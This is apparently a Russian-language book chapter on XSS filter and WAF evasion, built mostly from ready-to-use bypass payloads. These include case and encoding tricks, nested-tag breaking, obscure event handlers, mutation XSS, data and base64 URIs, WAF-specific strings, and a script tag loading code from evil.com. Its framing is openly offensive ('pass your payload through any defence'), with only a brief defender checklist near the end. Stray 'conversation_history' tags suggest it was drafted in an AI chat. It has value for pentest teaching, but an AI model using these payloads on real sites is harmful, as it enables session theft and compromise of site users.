Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪 • Чёрные и белые списки: как их перехитрить
Фильтры безопасности бывают двух типов: чёрные списки (blacklists) и белые списки (whitelists). Первые блокируют известное зло, вторые пропускают только известное добро. И те, и другие можно обойти, если понимаешь их логику. WAF - это не непробиваемая стена, это головоломка. Твоя задача - найти в ней слабое звено, дыру в логике, забытый edge case. Давай разберёмся, как думают защитники и как их переиграть.
Blacklist (Чёрный список) - игра в кошки-мышки
Blacklist работает по принципу "запретить всё плохое". Защитники составляют список опасных паттернов -<script>, onerror, javascript:, alert( - и режут всё, что совпадает.
Проблема blacklist: Невозможно предусмотреть все варианты. Веб-технологии слишком гибки, браузеры слишком прощающи, а количество способов записать одно и то же — бесконечно.
Типичные паттерны blacklist
Простейший blacklist:
$blacklist = ['<script>', 'onerror', 'javascript:', 'alert'];
foreach($blacklist as $bad) {
$input = str_replace($bad, '', $input);
}
Это детский сад. Обходится за секунду.
Regex-based blacklist:
$pattern = '/<script|onerror|javascript:|alert\(/i';
if(preg_match($pattern, $input)) {
die('XSS detected!');
}
Уже лучше, но всё ещё полно дыр.
Продвинутый blacklist (многоуровневый):
// Блокируем теги
if(preg_match('/<(script|iframe|object|embed)/i', $input)) { block(); }
// Блокируем события
if(preg_match('/on\w+\s*=/i', $input)) { block(); }
// Блокируем URI-схемы
if(preg_match('/javascript:|data:/i', $input)) { block(); }
Уже серьёзнее, но всё равно обходится.
Техника 1: Case Manipulation
Самый тупой, но работающий метод. Если regex без флага i (case-insensitive):
<!-- Блокируется --> <script>alert(1)</script> <!-- Проходит --> <ScRiPt>alert(1)</sCrIpT> <SCRIPT>alert(1)</SCRIPT>
Это базовая техника из главы 4, которую мы уже разбирали [conversation_history:4].
Техника 2: Double Encoding
Фильтр декодирует один раз, браузер - дважды. Профит.
<!-- Блокируется --> <script> <!-- URL-encoded --> %3Cscript%3E <!-- Double URL-encoded --> %253Cscript%253E
Первая декодировка на сервере даёт %3Cscript%3E, проходит фильтр. Вторая в браузере даёт <script>.
Техника 3: Incomplete Patterns
Фильтр ищет конкретные комбинации, а ты даёшь ему почти то же самое, но не совсем.
Фильтр блокирует <script:
<scr<script>ipt>alert(1)</scr</script>ipt>
Логика: если фильтр удалит внутренний <script>, останется внешний, рабочий <script>.
Фильтр блокирует onerror=:
<img src=x onerror =alert(1)> <!-- Пробел после onerror --> <img src=x onerror%0a=alert(1)> <!-- Newline --> <img src=x onerror =alert(1)> <!-- Tab -->
HTML прощает лишние whitespace, фильтр - нет.
Техника 4: HTML Entity Encoding
Как мы детально разобрали в главе об обфускации [conversation_history:4], HTML-сущности декодируются браузером, но не всегда фильтром.
<!-- Фильтр ищет "script" --> <script>alert(1)</script> <script>alert(1)</script> <!-- Фильтр ищет "onerror" --> <img src=x onerror=alert(1)>
Браузер декодирует s → s, e → e, получает валидный код.
Техника 5: Alternative Syntax
Используй менее известные теги и атрибуты, которые забыли добавить в blacklist:
<!-- Вместо <script> --> <svg/onload=alert(1)> <body/onload=alert(1)> <details/open/ontoggle=alert(1)> <marquee/onstart=alert(1)> <!-- Вместо onerror --> <video/onautocompleteerror=alert(1)> <input/onautocomplete=alert(1)>
Спецификация HTML содержит десятки event handlers. Фильтры обычно знают только популярные.
Техника 6: Null Bytes и Special Characters
В некоторых языках (особенно C-based) null-byte обрывает строку:
<scri%00pt>alert(1)</scri%00pt> <script\x00>alert(1)</script>
Фильтр видит <scri, браузер игнорирует null и видит <script>.
Другие спецсимволы:
<script/src=//evil.com/x.js> <!-- Слэш вместо пробела --> <svg/OnLoAd=alert(1)> <img src=x:x onerror=alert(1)> <!-- Кастомная URI-схема -->
Техника 7: Unicode и Alternative Representations
<!-- Fullwidth characters --> <script>alert(1)</script> <!-- RTL override --> <script>alert(1)</script>Ъ <!-- Homoglyphs --> <ѕcript>alert(1)</ѕcript> <!-- Кириллическая 'с' вместо латинской -->
Визуально похоже, но технически - другие символы. Зависит от того, как фильтр нормализует ввод.
Whitelist (Белый список) - обход через легитимность
Whitelist - это противоположный подход: разрешено только то, что явно указано. Всё остальное - запрещено.
Типичный whitelist:
$allowed_tags = ['b', 'i', 'u', 'strong', 'em'];
$clean = strip_tags($input, '<b><i><u><strong><em>');
Или через regex:
if(!preg_match('/^[a-zA-Z0-9\s]+$/', $input)) {
die('Only alphanumeric allowed!');
}Проблема whitelist: Если он настроен неправильно, можно протащить зло через разрешённые элементы.
Атака 1: Abuse разрешённых тегов
Допустим, разрешён тег <a>:
<a href="javascript:alert(1)">Click me</a>
Тег легитимен, но атрибут href с javascript: URI выполняет код.
Или если разрешён <img>:
<img src=x onerror=alert(1)>
Тег <img> в whitelist, но атрибут onerror создаёт XSS.
Атака 2: Attribute Injection в разрешённые теги
Whitelist разрешает <div> с атрибутом class:
<div class="container" onmouseover="alert(1)">
Фильтр проверяет только тег и разрешённые атрибуты, но забывает про дополнительные.
Атака 3: Mutation XSS (mXSS)
Это продвинутая техника, когда браузер по-разному парсит HTML до и после санитизации.
Пример:
<!-- Ввод --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- После санитизации (фильтр видит всё внутри noscript как текст) --> <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <!-- Браузер парсит по-другому --> <noscript><p title="</noscript> <img src=x onerror=alert(1)> ">
Браузер закрывает <noscript> на первом </noscript>, а <img> оказывается вне и исполняется.
Атака 4: Context Confusion
Whitelist разрешает определённые символы, но не учитывает контекст.
// Фильтр разрешает только буквы и цифры
if(!preg_match('/^[a-zA-Z0-9]+$/', $input)) { die(); }
// Но вставляет в JavaScript-контекст
echo "<script>var name = '$input';</script>";
Payload: test (проходит whitelist)
Но если можно контролировать предыдущий контекст:
// Через другой параметр
var x = ''; var name = 'payload'; alert(1);//';
Атака 5: Bypass через разрешённые протоколы
Whitelist разрешает http:// и https://:
<a href="https://evil.com/redirect?url=javascript:alert(1)">
Или через open redirect на целевом сайте:
<a href="https://target.com/redirect?url=javascript:alert(1)">
Прямой javascript: заблокирован, но редирект на него — нет.
Атака 6: Data URI Abuse
Если data: разрешён (что редко, но бывает):
<a href="data:text/html,<script>alert(1)</script>">Click</a> <object data="data:text/html,<script>alert(1)</script>">
Или через Base64:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Комбинированные техники - когда одного недостаточно
Многоуровневая обфускация
Комбинируй несколько техник одновременно:
<!-- Case + Encoding + Tag Breaking --> <sCr<script>IpT>eval(atob('YWllcnQoMSk='))</sCr</script>IpT>
Разбор:
- Mixed case обходит case-sensitive фильтры
- Tag breaking обходит простую замену
- HTML entities внутри Base64 обходит сигнатуры
- Base64+eval прячет реальный payload
Context-aware bypasses
Подбирай технику под конкретный контекст и фильтр:
<!-- Для Cloudflare WAF --> <svg/OnLoAd=prompt`1`> <!-- Для ModSecurity --> <script>window['al'+'ert'](1)</script> <!-- Для кастомных фильтров --> <img src=x:x onerror=eval('\x61lert(1)')>
Стратегия тестирования фильтров
Шаг 1: Fingerprinting
Определи тип фильтра:
- Отправь безобидный payload:
test123 - Отправь явно вредоносный:
<script>alert(1)</script> - Посмотри на ответ: блокируется? Экранируется? Удаляется?
Шаг 2: Boundary Testing
Найди границы фильтра:
-
<— блокируется? -
<s— блокируется? -
<sc— блокируется? -
<scr— блокируется? -
<scri— блокируется? -
<scrip— блокируется? -
<script— блокируется!
Теперь знаешь, что фильтр ищет конкретно <script.
Шаг 3: Systematic Bypass
Пробуй техники по очереди:
- Case manipulation
- Encoding (HTML entities, URL, Unicode)
- Alternative tags/attributes
- Whitespace injection
- Tag breaking
- Null bytes
- Polyglots
Документируй, что работает, что нет.
Шаг 4: Automation
Используй инструменты для автоматизации, как мы разбирали в главе 5 [conversation_history:5]:
- Burp Intruder с bypass payload-листами
- XSStrike для интеллектуального обхода
- Dalfox с режимами bypass
Практические кейсы
Кейс 1: Обход простого str_replace
// Фильтр $input = str_replace('<script>', '', $input);
Bypass:
<scr<script>ipt>alert(1)</script>
После удаления внутреннего <script> остаётся рабочий внешний.
Кейс 2: Обход regex без учёта контекста
// Фильтр блокирует on* в HTML preg_match('/on\w+=/i', $input)
Bypass через JS-контекст:
// Фильтр не блокирует это в <script> <script> elem.onclick = function() { alert(1); } </script>
Кейс 3: Обход whitelist через abuse
// Разрешены только <b>, <i>, <u> strip_tags($input, '<b><i><u>')
Bypass:
<b onclick=alert(1)>Click me</b>
Тег разрешён, но event handler создаёт XSS.
Защита от обходов
Для защитников:
- Используй whitelist, не blacklist - но проверяй и атрибуты тоже
- Контекстное экранирование - разное для HTML/JS/URL/CSS
- Используй проверенные библиотеки - DOMPurify, OWASP ESAPI
- Content Security Policy - последний рубеж обороны
- Регулярные обновления - новые техники появляются постоянно
- Тестирование на обходы - нанимай пентестеров
Для атакующих:
Помни: любой фильтр - это код, написанный человеком. А люди ошибаются. Твоя задача - найти эту ошибку раньше, чем её исправят.
Заключение
Чёрные и белые списки - это попытки решить фундаментально нерешаемую проблему: отличить вредоносный ввод от легитимного в системе, где граница между ними размыта. Blacklist'ы играют в догонялки с атакующими и всегда проигрывают. Whitelist'ы лучше, но если настроены неправильно - дают ложное чувство безопасности. Твоя задача как охотника - понять логику фильтра, найти в ней изъян и протащить свой payload через любую защиту. Это игра в шахматы, где каждый ход - новая техника обхода, каждая победа - найденная уязвимость. И пока фильтры пишут люди, они будут уязвимы. В следующем разделе мы углубимся в конкретные bypass-техники для популярных WAF'ов - там, где теория встречается с практикой промышленного масштаба.
